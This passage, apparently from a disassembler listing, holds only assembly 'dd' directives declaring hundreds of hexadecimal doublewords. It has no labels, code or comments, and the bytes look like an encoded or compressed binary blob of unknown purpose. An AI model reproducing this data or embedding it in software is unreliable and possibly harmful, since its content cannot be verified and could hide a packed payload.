		dd 0B5F2E010h, 0D55C0058h, 0AD85FF48h, 89E2DE4Eh, 4C002AF4h
		dd 0C15174C3h, 0CEA22Bh, 312E3F86h, 0F19AF07Dh,	0D2612700h
		dd 35445A9Eh, 6AAD00C0h, 5936A01Eh, 0E51FE25Eh,	0CB4008BDh
		dd 17CF3FF3h, 4744008Eh, 0C5638378h, 0DDE425DCh, 7B8BC805h
		dd 8C0FE181h, 70372020h, 7EE37Fh, 5658440Ah, 0EFDAED01h
		dd 8D437300h, 417895E9h, 0CB7DDFh, 2764D4CDh, 84AE17Eh
		dd 0FCEC9809h, 8B25814Bh, 9BD8EB8Eh, 0EE0B005Bh, 0FEC341DCh
		dd 0C000BD6Bh, 97D55D18h, 9392BEh, 0DF07044Fh, 271BF8EDh
		dd 8E53B600h, 3FA866F3h, 314F00CAh, 0E575C899h,	7D0055F2h
		dd 6BEAC77Fh, 75151C72h, 0C6C3B3Bh, 88AFF401h, 60FF47A0h
		dd 750022EDh, 0FC279064h, 0E80FF150h, 0FEC22635h, 0C5FF0116h
		dd 0F4D5DA21h, 0E6075CC6h, 1056C4Bh, 126AA72Fh,	20DD80ABh
		dd 298A7E45h, 80A8BA50h, 81012F15h, 9A162C54h, 9300CA3Bh
		dd 0FA3EA726h, 946D0096h, 0AF7F15FEh, 5A05190Ah, 8E1EEAE2h
		dd 6EC0FC1Eh, 0CE67AA7Ch, 0BAD00349h, 8C64A877h, 0FB46F680h
		dd 5AD6B2Eh, 0FADE3800h, 90BD065Eh, 32480057h, 0DAC369C2h
		dd 4100B3D2h, 0AC81AB66h, 0D95209h, 739C5874h, 0BC8764A7h
		dd 0D0429B0Fh, 114CA00Fh, 92A862h, 4383E1A4h, 428ED46Eh
		dd 0DCEB5C00h, 79ABE381h, 0A3C60072h, 3AE493B5h, 97FE18CAh
		dd 0AEB1C400h, 58E1E3DAh, 0ACE00032h, 851BA573h, 8F007022h
		dd 5309501Ch, 3E6BB726h, 7F79F4F1h, 5D820189h, 4FBDB46Dh
		dd 0C079E4A2h, 0CAD07007h, 0C46213A6h, 0C3674264h, 0D230C826h
		dd 4C910093h, 54431B98h
		dd 0C0A06404h, 3E6E72Eh, 3E1A4A00h, 6D25D3ABh, 9457013Fh
		dd 1D8E3758h, 301421E2h, 0F97BF631h, 0EE6DA300h, 0FAD213D7h
		dd 0C1EF008Eh, 0B0802C9Ch, 0C7009DD0h, 849E2F2Dh, 0AEDFCAh
		dd 4B1F92E3h, 1603E60Dh, 0C7592100h, 3EC056A1h,	0E01B008Bh
		dd 1AAE76D6h, 9F4828C4h, 8859076Ch, 45600F9Eh, 7F0D1BAFh
		dd 0F4080054h, 717D85F2h, 0C104381Dh, 0A7C370D5h, 0A5E93080h
		dd 4EF500C2h, 6CD131C8h, 187F601Dh, 0E7615500h,	8A57B08Eh
		dd 0B161E27h, 0B90CFD59h, 7838E8BFh, 38EBD900h,	67CF2A5Dh
		dd 0C704009Eh, 45338410h, 19F80B24h, 1300797Dh,	7699B830h
		dd 1B94D2Bh, 748CCF54h,	0F0C5ADA6h, 5C003423h, 0AF5D2A64h
		dd 39CBE4h, 8494BE07h, 0C5EA85A8h, 479B1A00h, 0CFE22FFAh
		dd 0F6D03F5h, 0D53342A7h, 415183F0h, 0B29E1000h, 0CE7AB550h
		dd 42660375h, 0C960C384h, 1FC8058Bh, 0D8764F0Dh, 536C3D02h
		dd 0C0CA13A2h, 1B1CE85h, 0C8DE7361h, 0DCB8EA4Bh, 0D000960Bh
		dd 37793B60h, 4CF7E6h, 0D7DE9D89h, 8ACC0A5Ch, 8E71AD0Fh
		dd 76734436h, 7E81F880h, 0C3AA003Ah, 0DDBBA802h, 511C5A80h
		dd 4F80CF84h, 0AB43554Ah, 0F1720054h, 9DD1E8A9h, 0B008A0Ch
		dd 0C1957981h, 0F20D4239h, 7FE53046h, 78EEB610h, 0DF70C600h
		dd 0B44B522Bh, 0EA4800A3h, 0AE5B68C7h, 0FD0F6AFCh, 408C4489h
		dd 0A19B5BBh, 382CE2FEh, 3800C8BEh, 8E7C0394h, 5C600187h
		dd 8843D58h, 9D2A02E6h,	0AD4802C2h, 5BED8Ah, 75F45F2h
		dd 0FF00EC27h, 3EB98A12h, 748716h, 0C66076E2h, 91B75846h
		dd 0E3926400h, 0B565BFE0h, 0EBB90BD4h, 4B803484h, 2856D4Dh
		dd 7FD100Fh, 0CFFF4079h, 1EE03A1Fh, 0C0B45BB7h,	0B855997h
		dd 0C602E1CBh, 0BBA58369h, 4D344026h, 0ECE9001Bh, 0A294E253h
		dd 0DA008465h, 0FE60A701h, 1E3C38E5h, 0FDC55F6Bh, 0D0B34301h
		dd 0DC3E161Dh, 5C1C88E4h, 7080E7DEh, 0F65B756Dh, 7E7D002Ah
		dd 9140A6B0h, 0E11F0930h, 81402B25h, 36A4F080h,	0C083006Bh
		dd 1EA36E73h, 1600232Ch, 0AFCBA1ADh, 17393F3Bh,	38090Eh
		dd 0EDDA1BF5h, 0C67014F7h, 64093076h, 80D53Bh, 2B6E8CE8h
		dd 0E6820096h, 9743EB4Ah, 3B00B23Eh, 3FF0AC08h,	2DCFD95Eh
		dd 0BBDE64B6h, 80FE4F0Fh, 0BC53A3DDh, 0ACC7000Fh, 0E286356Bh
		dd 3100C118h, 8DA8362Ch, 7AFFF515h, 266800FDh, 0AC43DB9Ah
		dd 2200597Ch, 0F9814D8Fh, 0A7A92Ch, 0CD53B30Eh,	0A4C4036Ch
		dd 7FC3CF00h, 9EA3B8B7h, 0ADE500F8h, 0B4CA589Dh, 74EC24BAh
		dd 0F4303463h, 5B2CC09Ch, 0E96004Eh, 56D36D0Ah,	8E1CC7F7h
		dd 0AD00E12Fh, 0E337CB3Ch, 255C003Ah, 0B071A1D4h, 47007926h
		dd 20194A22h, 0E5014Fh,	0D224303Eh, 6A447789h, 9CF65A98h
		dd 1D134BFCh, 3001AFA7h, 79A924B4h, 0F4BBABD4h,	8B950060h
		dd 7A02CED5h, 1F00061Ch, 76684146h, 29A62D6h, 18DA4F5Dh
		dd 9FE0710Eh, 8A009183h, 6FF8F3FFh, 44B12D7h, 7DB79CCBh
		dd 3483C163h, 287BC098h, 39D45F13h, 0B5BDC200h,	98D58D5Eh
		dd 0F21B00F5h, 4539F17h, 0A40761FDh, 0E27A4D23h, 167139B0h
		dd 3E95E48Eh, 67805B0Bh, 0DEB9A42Fh, 207F543Dh,	77F8EE00h
		dd 74E30FF7h, 33900010h, 580420Eh, 0D9E975C2h, 6A8EC429h
		dd 0C4008370h, 819A523h, 0B68D3Bh, 78561436h, 0A7712987h
		dd 0E86F13Bh, 0E7A2B473h, 6EB00424h, 1C45Fh, 0D8955784h
		dd 3FACEBE9h, 3419541Dh, 4DA58182h, 29E740F8h, 69FD00C6h
		dd 7991211Dh, 8000FF3Ah, 1A41B9Ah, 0F3D598Dh, 0C27E8AB8h
		dd 0B41CD580h, 0EA00E8BCh, 6D425C0Bh, 289621Bh,	0FE28F225h
		dd 0D4801EE0h, 3D3B091h, 0C6557100h, 62C0D4B9h,	2E33001Bh
		dd 1812DA31h, 71007810h, 5551024Ah, 0C962C35h, 0DA81C5E7h
		dd 3E0032D4h, 0A8E30DDEh, 0F0548804h, 0FA0007Ch, 0B2495FFAh
		dd 10C77EC9h, 0DDA748A9h, 8428B000h, 9375EFh, 20A1FFA4h
		dd 0C9C8E1AAh, 92053E1Fh, 4079B600h, 1DA50DB7h,	3B251088h
		dd 0FD22880h, 0C5A1EBAh, 0BEE30707h, 7A105F64h,	0F8BBDFC1h
		dd 2DCC3F3Dh, 47C0A980h, 24AC0BDDh, 0B95CEAF6h,	0B6FA0035h
		dd 0A1AF8F88h, 997E00DFh, 840FB094h, 541F52D4h,	650624FAh
		dd 0A1895FEh, 0DF05582h, 83B71E98h, 981A889Fh, 92DF04A0h
		dd 0E141FC30h, 99CBC6h,	55247C26h, 4FD8235Ah, 0BDB5B101h
		dd 52B7F046h, 14307FD0h, 0AE34CBEAh, 5F392005h,	999E8092h
		dd 2C006BD0h, 0A13C503h, 0F0C51h, 0F1C1F58Fh, 313BD106h
		dd 0D3FC37F8h, 0E47A2600h, 52780CEBh, 634E00A9h, 4271FE9Ah
		dd 0B23D1E35h, 73E38E5Fh, 33DBA00Eh, 0F236A78h,	75957484h
		dd 0D511C820h, 0D700A6C2h, 0DC70AE25h, 0FBF420Dh, 243C5817h
		dd 0D969A440h, 9500A773h, 0A1E30A20h, 0D75550h,	0C4A24BD1h
		dd 0D951C34Fh, 98B252h,	4549938Eh, 9D4E61h, 0C8361BEAh
		dd 149A1DE4h, 4CA42E2Ch, 4631B018h, 6ACB0008h, 0E29FBE73h
		dd 18170AB6h, 5500178Fh, 0AF6DB9AEh, 91A431BCh,	0C4C88E30h
		dd 14903457h, 0C4A37714h, 502900C0h, 0E1845B04h, 61ED7531h
		dd 0C7A93083h, 14196099h, 7B1E0090h, 58583BD2h,	6AA951h
		dd 492F881Ch, 1E24BDCCh, 25329BA0h, 0A48F2C3Ch,	7B00AAC7h
		dd 0B0AA1FFCh, 0DD0100C8h, 42752DCAh, 98004EBCh, 2982860Eh
		dd 667BDh, 780E17Ch, 0BA41945Ah, 345F261Eh, 88098Eh, 0AFAC158Ah
		dd 6EEF489Ah, 0B16C16h,	9139D3A6h, 3C00DF23h, 3E5F81BEh
		dd 64CA4h, 0ED6C0828h, 409A22EBh, 5872C300h, 0F390F6D3h
		dd 79F82591h, 800741D6h, 0CC4078E3h, 0ECA9B147h, 0BE85007Fh
		dd 0E87ED2C7h, 0A0002376h, 4CA8AE83h, 4022AAh, 0CE7FED13h
		dd 17FBB214h, 27585000h, 0E94AF401h, 0F30A4D6h,	0C4673504h
		dd 0A5F4AF20h, 7E0C024Ch, 9159DBB8h, 40CC44EFh,	19AA3B30h
		dd 0F848B12Ah, 37090C33h, 90C0745Eh, 0CF22DC3Bh, 14926D00h
		dd 0B5194CDh, 0F0373CE0h, 1DD78E03h, 6978A07Bh,	1A587800h
		dd 21C33DE8h, 0E9BC00C4h, 6ECF5A4Ah, 9F1406A4h,	0C49A11h
		dd 789B3362h, 0C0051B08h, 6ECED89h, 7918F6D4h, 8DA99C51h
		dd 7F8F0099h, 81D601EEh, 0A560903Ah, 77B36430h,	0DF725C0Bh
		dd 1080503h, 0A2988AE4h, 48C04F34h, 305D7889h, 9A6800E5h
		dd 4EBE4427h, 0C0F1085h, 2076D0E6h, 68D8D146h, 3AE1F651h
		dd 6B8107BCh, 0DFBDAF50h, 0D042C5B7h, 20C038C4h, 3A510477h
		dd 94FD00BAh, 0F72EE8C2h, 0C53AA7ECh, 80508041h, 2AD7CFF3h
		dd 7A9048F5h, 592C1601h, 0F09DC488h, 0DE014C7Dh, 0FA23085Ch
		dd 218132D6h, 0D7D109B8h, 0B268AC39h, 0CEA1C00h, 17471633h
		dd 163D395h, 6413E798h,	0F903F865h, 1163C0EEh, 0E0B05130h
		dd 61F6E26h, 61F6C9B9h,	3AC40875h, 0FC0385Eh, 4883CF2Dh
		dd 9400E125h, 0C3125AAFh, 88C1D937h, 0EF480854h, 0E12BC081h
		dd 83E7759Dh, 1E93B161h, 0DB40DF90h, 74621668h,	0AE7FDDh
		dd 0C8035CE3h, 4BB3D147h, 7A84F600h, 9B21AA22h,	0B45F5056h
		dd 14A90FFFh, 93012757h, 0ECE9B491h, 292C8D50h,	53006C3Dh
		dd 0F1094879h, 6C240010h, 811A4A36h, 4600CA88h,	0DFAF87EFh
		dd 78B96B5h, 77EE15B9h,	7823F32Ch, 8084DCA1h, 8CB32A20h
		dd 12473F3Bh, 2243A3h, 7003F5B4h, 500C3C1h, 0D6B89B1Ah
		dd 5814035h, 5C9A7964h,	0DF28C01Ch, 8000E495h, 0CEBD86C5h
		dd 3A08F31Ah, 0E84831D7h, 0CB152060h, 0A1FE01C5h, 19B0D600h
		dd 0B948DD9Bh
		dd 0EEB81F34h, 9358F0F3h, 0B7008FA3h, 519FC263h, 1BCE9B1Bh
		dd 2095E3EFh, 11E8D176h, 0C0B77937h, 0DBD15BF7h, 58829AE5h
		dd 69E22CD0h, 0CF843840h, 3612F000h, 32BA6010h,	19B60D9Ah
		dd 0CD5090FAh, 2807F789h, 8A6DB048h, 0B26AE800h, 181905FFh
		dd 836C1C2Eh, 38109B4Ch, 4A0077FEh, 0F265BE5Bh,	0B100A163h
		dd 0FACC3807h, 48CDA4ECh, 0C300473Fh, 1FFFF7E6h, 651E0C32h
		dd 84C0F47Fh, 0CD8F6715h, 75790069h, 0A0EAF58Dh, 4700CEF8h
		dd 6F742B56h, 0A89ADDh,	87B0D368h, 3AA1D134h, 4DCE250Fh
		dd 3591C1EAh, 82E09458h, 3BE70009h, 0F972C55Ah,	0E3131A10h
		dd 6D005262h, 0FD63B087h, 0C6430F95h, 6140F88Bh, 78C8C2F9h
		dd 5F00EFF0h, 0E0F37D86h, 7A9BEDFh, 0BC0E0A23h,	5511E12Ch
		dd 14DBD06Fh, 8EF49000h, 8FBE6DDh, 0C6A101B1h, 0FCACF840h
		dd 0E30FD047h, 2D3120C0h, 0E6ED6E0Bh, 0E7A0077h, 7DDB74D6h
		dd 0DD0F8C8Dh, 60CAD0C6h, 0BA4A0A0Ch, 98D407E8h, 5AE3067Fh
		dd 0B3E4034h, 6AEEA1B0h, 64EA0086h, 9430DD8Dh, 20B82A0Bh
		dd 79C59800h, 0F79AD9F9h, 0D42003B6h, 0F6256C6h, 803F5EA0h
		dd 572BAF00h, 36867EC7h, 0C3B000A1h, 714E2133h,	687BDAF4h
		dd 0F7A56A00h, 3099EDE5h, 19EF0CA0h, 0A7706505h, 3DB6B500h
		dd 93743C77h, 0E5E7CC5h, 1D3AB998h, 0C05DD787h,	9F5A4589h
		dd 246DD1C4h, 4704E930h, 0C356A239h, 0EF00E822h, 73410863h
		dd 607D448Ch, 9CCD19DCh, 0A8004362h, 0C0D03323h, 0C1420BDFh
		dd 198F8688h, 798C7EDh,	0A0ACAFE3h, 0AD04E702h,	1864665Eh
		dd 20C3EF5Bh, 0D00B783Dh, 713BA6h, 50081FB7h, 87E3057Ah
		dd 404D8F00h, 0F0A77F9Dh, 0EA7500BCh, 2B6B4784h, 390395F6h
		dd 57EE6ADEh, 0B105A006h, 0F281FAE8h, 0C34300BAh, 297D224Eh
		dd 7300A423h, 0A2A0F0B4h, 2FE461h, 0EE1DF57Bh, 0C4B9117Ch
		dd 6812E000h, 44BD54A8h, 7E600C7h, 82D0D105h, 0CE2EF33Bh
		dd 2D0E8F45h, 0DDD96099h, 0ECA017h, 424B6FD6h, 0E541934Dh
		dd 0D390FD00h, 0E6DE4B7h, 87F413h, 8CBCF28Eh, 0D9FECD2Eh
		dd 27056AF2h, 1763FAA5h, 6D21E9C0h, 47930982h, 0E300DA5Ah
		dd 0CDBBAD37h, 78C3C000h, 0EAFF1BDBh, 0A9C2393Ah, 66F16200h
		dd 0C76C5DC4h, 83DFF500h, 0B09B6B57h, 3FAF0928h, 0D780E553h
		dd 1CF9C718h, 5F75D50Fh, 0DE6C00F2h, 60A30D3Ah,	18B50E0h
		dd 0D400A13Dh, 0FE87DF52h, 1C3F9B25h, 4097E1FFh, 0D3167496h
		dd 3300ACA5h, 8EF8CECCh, 0F0FDBB17h, 16A74CF2h,	0D5495E00h
		dd 0B3E823B9h, 0F8F718C3h, 0F5FF075h, 2428C0C3h, 0A9EAFBEh
		dd 0CD775700h, 0A970B192h, 0EF3A00DFh, 0C17859C9h, 53E49636h
		dd 39601778h, 0BEAD81F0h, 80095428h, 0CAE20E23h, 434092F4h
		dd 57509730h, 7E56C800h, 32342E36h, 8E180078h, 3AFE8996h
		dd 49007D3Fh, 2AC6480Bh, 3B5D784h, 830330Fh, 5BD85431h
		dd 6F00C41Fh, 8C14EA44h, 3A553DD1h, 0FB003A07h,	7CF1732Ch
		dd 0F0EB4AEh, 0DC86C20Eh, 2716EF84h, 0A5381AC0h, 0A70400DCh
		dd 6AD82979h, 281CB923h, 0E40111Eh, 648DFB17h, 487B0721h
		dd 0A04F7F40h, 9727E415h, 747C0E74h, 760DB300h,	0A23052E2h
		dd 6D18A081h, 501E007Dh, 8D7E41B0h, 5A00C082h, 9C59559Eh
		dd 17EA2F20h, 646EC5h, 0CF463735h, 97181E3Dh, 318C410h
		dd 87F22CAFh, 709C01B0h, 0F0B2D521h, 81720C60h,	95055390h
		dd 7E131E26h, 915C9040h, 0EBEC1B7Dh, 0A5403631h, 728B94h
		dd 217E35Bh, 0AC6FF067h, 0E02BEF00h, 0DA753D5Eh, 0C74A0085h
		dd 88745BC0h, 0BC07CF42h, 8E1C6B0Dh, 4403C30h, 415C0025h
		dd 0DE1A2899h, 3363EBC7h, 3F8608h, 3E473820h, 0E6236417h
		dd 55FF8F01h, 0F5F7EFD6h, 2F68F0D7h, 61C90052h,	0C4F4D9F2h
		dd 8F143801h, 7E2926Eh,	0DBC3E873h, 0F3B71D40h,	48A800C4h
		dd 0F8EF6439h, 923F6970h, 0D0EB0007h, 5E890530h, 233E03FCh
		dd 0D5E2416Eh, 0BEC99AF0h, 0A440211Ch, 7408D0C7h, 2944D90h
		dd 9752004Eh, 4022D5D6h, 1506BF0Dh, 7EC60A5h, 775C0071h
		dd 94C72580h, 0E3305E41h, 474CA8D6h, 8DB40024h,	0CBEA45C3h
		dd 7400F920h, 3A65907Dh, 2FC2EFFh, 0B631DE04h, 88835AF0h
		dd 749021C5h, 0C9001211h, 0B9EE3D9Fh, 185AF1EFh, 0A8C4DF48h
		dd 0AC000E33h, 0C78AE643h, 1B04F3Fh, 5518E012h,	0E85BD9E9h
		dd 3E383759h, 0EB486026h, 0E65DFE04h, 4960003Dh, 88CC759Ah
		dd 6076768h, 0A3C09F25h, 31575D30h, 8E3A0274h, 5AF4DBD1h
		dd 298B607Fh, 13E70756h, 40306299h, 1D830368h, 0CD471A00h
		dd 0D84478BAh, 3B4E0088h, 53EC30E6h, 9E0DB19h, 0C2D96E00h
		dd 0B33A3F6Ch, 8BEA002Eh, 2A7E12FBh, 8307B746h,	6027D0Bh
		dd 0BB500D47h, 80B0E9h,	0CCD619DEh, 4477DC50h, 21B14A12h
		dd 68B50800h, 5CB75951h, 4F009E8Bh, 0E731A5AAh,	6E84822h
		dd 0A900D1FCh, 0BCFAB59Eh, 0BA8878h, 4A92B9E6h,	26E0D9CDh
		dd 0A71A8D1Ch, 8160954Ah, 0C4206600h, 2E3886h, 41C1E9B4h
		dd 0CF933EC5h, 894CA001h, 0BE111F17h, 7615E4h, 820B6B3Fh
		dd 0AF85AD9Ah, 0E3D01907h, 7D30EF4Bh, 0C2329Bh,	0E96A0A05h
		dd 0F2CFAE41h, 14FF7403h, 90155A77h, 3E7F5F8h, 0EBCC1064h
		dd 65F08F31h, 2FF80E25h, 8362EC00h, 0F6D27B82h,	434B00EEh
		dd 633856FBh, 3F00A4C4h, 0A2FED744h, 0F090E189h, 0FF7800FAh
		dd 0AF310539h, 9801E26Ah, 5F1FCC1Dh, 0F3F09F89h, 36B40313h
		dd 0F2F68209h, 2EA39800h, 0F5B2A7Bh, 0DD8B009Ch, 9A3E3D05h
		dd 851D6990h, 50C0D4D9h, 4058EA5Bh, 972100E7h, 0B87DD283h
		dd 3C0FC027h, 0C0CE751Eh, 86BA0D8Eh, 5F343E01h,	0E10EF080h
		dd 4F70D405h, 586C4D00h, 0F662F92Bh, 0ECE600A3h, 0B4C12D5Fh
		dd 0E7001B12h, 7ED18978h, 0E3CBCD5h, 0A8B6BE4Ch, 8F6E57C0h
		dd 0FC0039B1h, 0ADCA3383h, 84A993h, 7FA2441Eh, 7E426F89h
		dd 0C8BBFB01h, 4D1FCBF4h, 0DC3001C4h, 96DE78h, 0C9EB89C5h
		dd 9900D431h, 0CD34F47Ch, 861AF8Dh, 0BE436587h,	52D36C00h
		dd 0C6BF51C8h, 494A4D10h, 270EC1FCh, 404FDC14h,	0A8D2DA85h
		dd 0FDAA001Eh, 8E3C4701h, 75FAEC65h, 39A28D1Ch,	0E32C89C0h
		dd 0F8BE744h, 3859B007h, 0DA1CFD80h, 4A0006F9h,	78F3CC6Ch
		dd 5C17F48Fh, 0E90FE09Ah, 96A08EE2h, 2E9E4A52h,	1FDA2001h
		dd 1B8473F1h, 0DB05F0h,	0AF433CCDh, 0F73F7D41h,	91AD4700h
		dd 2C0299CBh, 29AB079Ah, 920C1280h, 0ACAF4895h,	34845FE0h
		dd 0E03A9B2h, 0E004A85Ch, 4B669802h, 1016009Ah,	941EB57Bh
		dd 0D89013EBh, 5D34E600h, 33FA4FCCh, 0FC3C0A59h, 80EC7A08h
		dd 6F3DDBADh, 530371CCh, 0FA1DDCD5h, 692090D8h,	0F1970056h
		dd 59641C09h, 0CC606D7Ah, 0AB74BF88h, 7C8F068h,	57C2939Dh
		dd 0F80AF27h, 3297E613h, 3C15F400h, 3885D523h, 0F82400DFh
		dd 79AB1840h, 5B00808Eh, 52A741E5h, 0DC398Ch, 9B59DAB1h
		dd 36B3F01Eh, 720CB3B0h, 829E4575h, 0C6664CF2h,	0F6388100h
		dd 8CF46447h, 0E0AE48CFh, 98EFE5B7h, 34660EE7h,	0FD40F8AFh
		dd 28267E0Ch, 314A0200h, 5B8369C7h, 9D0F1E84h, 0EB68C046h
		dd 4B9E3880h, 97F14400h, 6C313F47h, 0A2FEE3h, 0CE08D628h
		dd 1DC9F8ADh, 0F7214A03h, 0B74C71AAh, 0C0B8BDE0h, 0A82A605Ch
		dd 376422F1h, 0B30714FEh, 2ED7730Ah, 93AAC1C0h,	8060DFF6h
		dd 74141A40h, 700D25Bh,	0B6F4D48Eh, 27C2CF86h, 90D8D524h
		dd 6B049105h, 0B1C0C6F2h
		dd 744C56B6h, 2E7F26ABh, 0FD1F07DDh, 53E0C015h,	7E3E6045h
		dd 0F2F980F3h, 80A1FA5Bh, 9B841FDAh, 14AB0081h,	76C8660Bh
		dd 48929014h, 44160094h, 591B3A31h, 0E68603F7h,	0ED28475h
		dd 526BA188h, 1C4BDF00h, 627AC5B9h, 3C2600E1h, 0A111FC05h
		dd 8C003A22h, 7142E4D5h, 2F4A72h, 0B097B908h, 0FC337993h
		dd 0EA491500h, 5DB8CE4Eh, 3EBB0FF3h, 0B7070906h, 967C877Fh
		dd 0F40DA024h, 0E05238D5h, 79F05CF0h, 0A6581EF2h, 955A027Ah
		dd 8080DFE0h, 0BAC06A62h, 0A8049D0Dh, 7BF0F86Dh, 1B51002Bh
		dd 0D9E55032h, 39006245h, 1C93387Ah, 6E4668h, 3C8B9F37h
		dd 9011E3B7h, 2BE91400h, 9C57B8EBh, 0C24F07B3h,	35517F93h
		dd 0D6244E33h, 9FA0392Fh, 0C9B907BCh, 0C60012FCh, 7FB0A110h
		dd 167C0F6h, 49CBA322h,	0F09D0AE8h, 380039B3h, 9B5FED8Ch
		dd 93D99Eh, 75D8CA2Ah, 23E57840h, 9994F501h, 85F82507h
		dd 9C7EC4h, 0ED480847h,	459EF41Dh, 12DE1100h, 0CE1D0B1h
		dd 0A87093h, 0F469C36Eh, 0B4FD7F29h, 0CAF25400h, 0BFDB14FCh
		dd 53CF8B9h, 0E3049EF0h, 6F2280C5h, 0C7E8ED4Dh,	270330EEh
		dd 74F33761h, 0C06D8A62h, 90576Bh, 0D860EC97h, 435BB033h
		dd 19032600h, 40C7504Bh, 2DF085h, 7B4A36BDh, 8A0D6D84h
		dd 29FBFC1Ch, 0D3C566C0h, 7916E1h, 0DE6E9FE0h, 27F0470Ch
		dd 1B54BE0Fh, 0D4C3201Ah, 445F98h, 0B9C40145h, 42CD18B2h
		dd 0E4851FAh, 0D5EE0700h, 9EDF67E5h, 6E7B844Fh,	1E9A0074h
		dd 0B5BC20h, 2EAC4F6Ah,	5E94B3BDh, 97F6BF00h, 1BB789F3h
		dd 4ECF017Eh, 2D574404h, 26D8CBD5h, 0D1000868h,	0EE97DC21h
		dd 38B469h, 713602C0h, 1BC3D4A3h, 9980EBFFh, 1E004A93h
		dd 8228B809h, 19017A52h, 0A015F1DDh, 38B5F0A8h,	3918B0Eh
		dd 0B781BFFEh, 673FDE30h, 0DB1CB0E3h, 45510134h, 98D602A3h
		dd 9275D09Ch, 934C8200h, 54177AD1h, 60734937h, 8CCA2F00h
		dd 61C9A1CDh, 45EC8F50h, 0E7E0ECCEh, 9C837C19h,	72F7A8EEh
		dd 5F5D00D9h, 3A783802h, 2700603Dh, 88AC530Bh, 3D4419C7h
		dd 731E7E5Bh, 352EC2DFh, 0E080E855h, 14F6C632h,	0C1761000h
		dd 52C3981Ch, 924E3C59h, 88B87880h, 7C7BF3A0h, 0F9338B0Ch
		dd 8E38E6h, 0F7253FB0h,	672F27DBh, 20B5530Eh, 0CFBCC04Fh
		dd 570AF5Ch, 0F354D7BAh, 8D938347h, 2A8601F8h, 7CEFC400h
		dd 0D77E7145h, 89D30033h, 0DFB0CDBAh, 58F2BB0Bh, 80A3953Fh
		dd 90985B43h, 3C377AFFh, 92BE1749h, 1D647381h, 28334E35h
		dd 0F82700CEh, 23AA6C80h, 22856EB2h, 494B2D01h,	0B065DC62h
		dd 0C152F00h, 0BAEFA9E0h, 26CC00D3h, 56E6915Ah,	0B03BDBECh
		dd 63007C1Bh, 3C6B08C0h, 26D834h, 57097ABCh, 70CF0C0Bh
		dd 0AFC06550h, 12409104h, 62804A49h, 9D75C0h, 4DF666B4h
		dd 0F1F702Ch, 9B2A9E00h, 40B59A82h, 7AEA0244h, 2D0BD392h
		dd 80752E60h, 0E40C3C03h, 0D0B13FABh, 0B51D4Ah,	0EAF51F27h
		dd 5EC9210Eh, 81F78500h, 97081A0Dh, 0B293006Fh,	31956F5h
		dd 5000955Dh, 2054BD1Fh, 0ED6025h, 0DE3C678Ch, 0C433F249h
		dd 0FB931E01h, 69B37B41h, 173A5822h, 0F552EA6h,	53604472h
		dd 0C4654839h, 0A0CE4F13h, 0DF40681Eh, 0F302D45Fh, 0C356DD56h
		dd 0EC54388Dh, 0C07C53C1h, 7400C312h, 30CCC9E3h, 109F22Eh
		dd 88E53C9Eh, 0F4F0F9FCh, 92032B7Fh, 27468A71h,	0FEB6987Dh
		dd 2FC0A8BFh, 0E7F60042h, 0CBA2402Ch, 0C002248Dh, 0F0157250h
		dd 0DAC8A3FEh, 0BE85C821h, 0AC560735h, 7B18AFBh, 374FE033h
		dd 1200CFB4h, 770854F9h, 1DE092h, 27B14A2h, 3BF0E707h
		dd 797458h, 5B9E5609h, 2D0EE1h,	8967EE79h, 95756816h, 0D6C1B800h
		dd 4F613F5Ch, 35FC001Bh, 886B375Eh, 0B9072334h,	0AC0966DFh
		dd 31C9A760h, 2DDB284Eh, 0A5F300E0h, 6AB6FEE1h,	90009B48h
		dd 674E6F01h, 9A3501Eh,	0D7820BFh, 8305100h, 8600D0DBh
		dd 0B651B548h, 169AE8Bh, 5CFAE440h, 70492416h, 0F90105E8h
		dd 78CB56D0h, 5FC8C9AAh, 0A2E239h, 0D29D83FCh, 1299D83Ch
		dd 0A18E1C00h, 3FB53E1h, 6FB30032h, 55344F98h, 0D70020F5h
		dd 610839BCh, 1FB0772h,	70122367h, 0E0F5F417h, 0CF008DF2h
		dd 832BF0C4h, 55D5D0h, 0B559F784h, 9372C718h, 16C6A000h
		dd 0DAB947AAh, 0CA7B07A6h, 6009D39Ch, 0B7CFA137h, 0B00067ECh
		dd 1A767CD5h, 0E59078Bh, 37CA8021h, 0D73A3B20h,	1E0046B7h
		dd 0DC1AA9Dh, 3E5ABE50h, 8E808FCCh, 0F753BF2Dh,	0FA4814FBh
		dd 9F560023h, 0EF9A47D8h, 5D762A09h, 981700A8h,	2771C505h
		dd 9F600755h, 10B00848h, 3AA605BAh, 0C0C74D37h,	1D3FB42Bh
		dd 0F3D49E0Eh, 8EEF8h, 133AB104h, 99B0AAh, 204A43F6h, 4E5B0E47h
		dd 91353Ah, 806C72A8h, 73BA67h,	0E10B9C75h, 0ED712B6Eh
		dd 34632600h, 5E5C7B1Fh, 0FEDB00BCh, 4CBFDFAAh,	0CE0F4116h
		dd 80E26D03h, 0F1A82D1Ah, 502E1F54h, 46670011h,	0EB77D6E8h
		dd 4888F003h, 0A09EAA34h, 3D7DF9h, 9D6C2C0Bh, 0EC504CCEh
		dd 31270F00h, 5A572684h, 0E2A005FBh, 804F97B1h,	51C47A52h
		dd 0A80E0690h, 0C05C2030h, 0B5F8AF0Ah, 606C0017h, 0BA3912B4h
		dd 0F100C432h, 26033051h, 24072B31h, 289521h, 525898B4h
		dd 53D288Eh, 0CB898357h, 0EFBCABE6h, 7D931030h,	0A80E0EA1h
		dd 875D2CBFh, 0E00B0826h, 499657E8h, 0DE6F7400h, 9FF61C95h
		dd 2EC70F17h, 37E04F1Eh, 5BE2201Ah, 0B300DC79h,	2562C73h
		dd 14852896h, 9448CC7Bh, 62094100h, 336D653Ch, 161D458h
		dd 248A81CDh, 0E040F12Ah, 54FD3246h, 0DE9CF7h, 0BD783AACh
		dd 61F5E895h, 4C98AB03h, 0D004F701h, 0DB443Ch, 2E0DA8C9h
		dd 70A1228Dh, 0CC71E11Fh, 0CDDAE400h, 0C2A251h,	0F6440AC8h
		dd 65EAA155h, 0DA0F800h, 14C949C7h, 9F29005Fh, 8FF96E37h
		dd 35075B92h, 0EFD3F061h, 111807B9h, 0ED25F350h, 31E7D47h
		dd 0A39EAB7Dh, 20CA35E1h, 3B1FC40h, 113F0F0Fh, 9CE43E4Fh
		dd 0AC158C40h, 609E0739h, 10BF534Ah, 8D937756h,	668A2307h
		dd 0B930300Ch, 0CA32C5h, 0ADDEE7B1h, 804D536Eh,	0B2F50A00h
		dd 8778226Bh, 4A7A00F7h, 26E4188Ch, 0AD036C96h,	6B57D4D1h
